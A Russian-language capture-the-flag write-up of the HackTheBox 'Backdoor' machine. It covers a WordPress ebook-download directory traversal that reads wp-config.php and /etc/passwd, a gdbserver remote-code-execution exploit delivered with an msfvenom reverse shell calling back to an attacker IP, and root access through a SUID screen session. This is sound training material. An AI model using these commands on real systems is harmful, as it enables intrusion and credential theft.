Здравствуйте, дорогие друзья. Предоставляю Вашему вниманию райтап машины с площадки HackTheBox, которая называется Backdoor.
Краткое содержание
Backdoor - это машина Linux, и ее можно легко взломать. В этом прохождении, мы начнем с базового сканирования портов и будем делать боковое перемещение. Затем мы перечислим веб-страницу WordPress. Затем мы проведем оценку уязвимости и воспользуемся уязвимостью обхода каталога. Начиная с текущего процесса, мы будем использовать сервер GDB и получать точку входа в целевой системе. Затем получим root-доступ, где мы будем использовать SUID.
Содержание
Первоначальный доступ
· Сканирование TCP-портов Nmap
· Перечисление веб-страниц
· Поиск эксплойта для WordPress
· Эксплойт уязвимости обхода каталогов
· Перечислить запущенный процесс в целевой системе
· Поиск эксплойта сервера GDB
· Эксплуатация RCE сервера GDB
· Флаг пользователя
Повышение привилегий
· Эксплуатация SUID-экрана
· Рут-флаг
Давайте пойдем по содержанию пошагово.
Первоначальный доступ
Мы собираемся начать оценку с обычного сканирования портов TCP/IP.
Сканирование TCP-портов Nmap
Начнем со сканирования портов. Мы используем nmap, чтобы узнать, какие порты открыты и какие службы работают на целевом хосте. Nmap — популярный инструмент сканирования портов, входящий в состав Kali Linux. Для сканирования портов мы использовали флаг –sV и -p-, который выполняет версию службы и полное сканирование портов на целевом компьютере.
Особенности флагов:
-sV: пытается определить версию службы.
-p-: пытается выполнить полное сканирование портов.
nmap -p- -sV 10.129.96.68
В результате сканирования nmap мы обнаружили, что открыты только три порта: порт 22, 80 и порт 1337. Как обычно, служба HTTP работает на порту 80, служба SSH работает на порту 22, и сейчас мы не знаем о 1337. Служба HTTP используется для веб-хостинга, а служба SSH используется для удаленного подключения. Версия SSH является последней, и мы не обнаружили никаких уязвимостей в SSH версии 8.2p1, и возможная атака, которую мы можем выполнить против службы SSH на этом этапе, — это только перебор, который нам, возможно, не понадобится. Вместо того, чтобы думать о брутфорсе SSH, давайте начнем перечислять порт 80.
Перечисление веб-страниц
Мы начинаем с перечисления порта 80 и получаем к нему доступ через браузер, показанный на сайте WordPress. Здесь, на веб-странице, ничего интересного нет, но мы увидели бэкдор-заголовок бэкдора с именем машины. Здесь бэкдором может быть доменное имя.
Тогда мы решили проверить его плагин, используя каталоги по умолчанию. Список каталогов WordPress по умолчанию можно найти здесь:
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/wordpress
Путь к каталогу плагина по умолчанию:
/wp-content/plugins/
Мы увидели, что там присутствует каталог для загрузки электронных книг. Мы можем проверить, есть ли какие-либо общедоступные эксплойты для плагина WordPress для электронных книг.
Поиск эксплойта для электронной книги WordPress
Мы используем встроенный в Kali инструмент searchsploit, чтобы узнать, доступны ли какие-либо эксплойты в общедоступной базе данных эксплойтов. Из результатов searchsploit мы обнаружили, что загрузка электронной книги WordPress имеет уязвимость обхода каталога. Затем мы скачали эксплойт, чтобы проанализировать, как он работает. Мы можем скачать его, используя флаг -m в searchsploit. Проанализировав код эксплойта, мы обнаружили уязвимый параметр пути, уязвимый для включения файлов.
searchsploit ebook wordpress
searchsploit -m 39575
cat 39575.txt
Эксплойт уязвимости обхода каталогов
Поскольку у нас есть уязвимый параметр, теперь мы можем его использовать. Мы попытались использовать файл конфигурации WordPress (wp-config), который содержит конфиденциальную информацию, такую как учетные данные базы данных WordPress. Как и ожидалось, мы получили имя пользователя и пароль базы данных WordPress, но они не работали ни с одним доступным сервисом.
curl 10.129.96.68/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
Затем мы решили составить список пользователей целевой системы. Он доступен в файле /etc/passwd в системах Linux. Мы увидели, что в целевой системе доступен пользователь с именем user, и попытались войти через SSH с полученным паролем, но снова не смогли получить доступ.
Многие попытки закрепиться в целевой системе не увенчались успехом. Тогда мы решили перечислять дальше. Затем мы создали скрипт bash, чтобы выяснить, какие процессы выполняются в целевой системе, поскольку иногда сторонние приложения могут иметь некоторые уязвимости, которые могут привести к тому, что злоумышленник получит доступ к целевой системе.
Как мы видим, в целевой системе работает сервер GDB. Мы можем проверить, можем ли мы найти какие-либо уязвимости, доступные для сервера GDB. Существует возможность установки другого приложения, которое также уязвимо для удаленного выполнения кода.
Источник: https://0xdf.gitlab.io/
Альтернатива:
Мы также можем проверить запущенный процесс вручную, для его проверки можно использовать файл ниже. Просто нужно заменить имя файла на /proc/sched_debug в уязвимом параметре.
/proc/sched_debug
Поиск эксплойта сервера GDB
Мы снова используем searchsploit, чтобы выяснить, есть ли какой-либо общедоступный эксплойт, доступный для сервера GDB, который мог бы помочь нам получить первоначальную точку опоры в целевой системе. Из результата searchsploit мы обнаружили, что gdbserver 9.2 уязвим для удаленного выполнения кода, но его версия нам пока не известна. Иногда бывает сложно узнать версию установленного приложения, и приходится тестировать каждый эксплойт, поскольку он только один, поэтому стоит его проверить. Мы скачали эксплойт, чтобы проверить, как он работает.
searchsploit -m 50539
Использование RCE сервера GDB
После загрузки эксплойта мы проанализировали код эксплойта, и получили инструкции по его использованию. Эксплойт указывает на необходимость создания двоичной обратной оболочки msfvenom, и в ней указан синтаксис полезной нагрузки. Если мы присмотримся поближе, то увидим, что эксплойт указывает на то, что номер порта GDB равен 1337, и мы также обнаружили, что порт 1337 открыт в целевой системе.
Давайте создадим двоичный файл обратной оболочки, используя msfvenom. В полезной нагрузке мы указали IP-адрес злоумышленника (10.10.14.65) и номер порта прослушивания (4444). Затем мы сохранили его как rev.bin.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.65 LPORT=4444 PrependFork=true -o rev.bin
Флаг пользователя
После создания двоичного файла обратной оболочки мы следовали инструкциям эксплойта. Прежде чем запустить эксплойт, мы включили прослушиватель netcat в нашей системе Kali на порту 4444. Затем мы указали целевой IP-адрес и целевой порт, на котором работает сервер GDB, в целевой системе и нашей обратной оболочке. Чтобы воспроизвести POC, следуйте командам, приведенным ниже:
python3 50539.py 10.129.96.68:1337 rev.bin
После запуска эксплойта против целевой системы мы успешно получаем обратную оболочку от имени пользователя на порту 4444. Мы можем получить наш пользовательский флаг из домашнего каталога пользователя.
Повышение привилегий
Далее нам нужно перейти на учетную запись root из учетной записи пользователя с низким уровнем привилегий. Мы перечислили целевую систему, а затем решили проверить SUID.
Эксплуатация SUID-экрана
Давайте перечислим все двоичные файлы SUID, доступные в целевой системе. В результатах мы увидели экран SUID. Это похоже на Tmux, и, если какой-либо сеанс экрана выполняется от имени root, мы можем присоединить этот сеанс к текущему пользователю, что даст нам корневую оболочку.
find / -perm -u=s -type f 2>/dev/null
Что такое экран в Linux?
Команда screen в Linux предоставляет возможность запускать и использовать несколько сеансов оболочки из одного сеанса ssh. Когда процесс запускается с помощью «экрана», его можно отсоединить от сеанса, а затем снова подключить к сеансу позже.
Чтобы наш эксплойт заработал, нам нужно обновить нашу текущую оболочку и прикрепить сеанс корневого экрана к нашему текущему пользователю.
export TERM=xterm
screen -r root/root
Рут-флаг
После подключения сеанса корневого экрана с текущим пользователем мы получили корневую оболочку. Теперь мы можем получить наш рут-флаг из корневого каталога.
Заключение
Эта машина была интересной и стала отличным источником обучения, где мы узнали и исследовали множество вещей, таких как сканирование портов TCP, перечисление служб, уязвимость обхода каталогов, перечисление процессов в целевой системе, специальные разрешения (SUID), эксплойт SUID для выполнения повышение местных привилегий.
Спасибо, что уделили свое драгоценное время чтению этого руководства. Надеюсь, Вам понравилось сегодня, и Вы узнали что-то новое. Удачного взлома!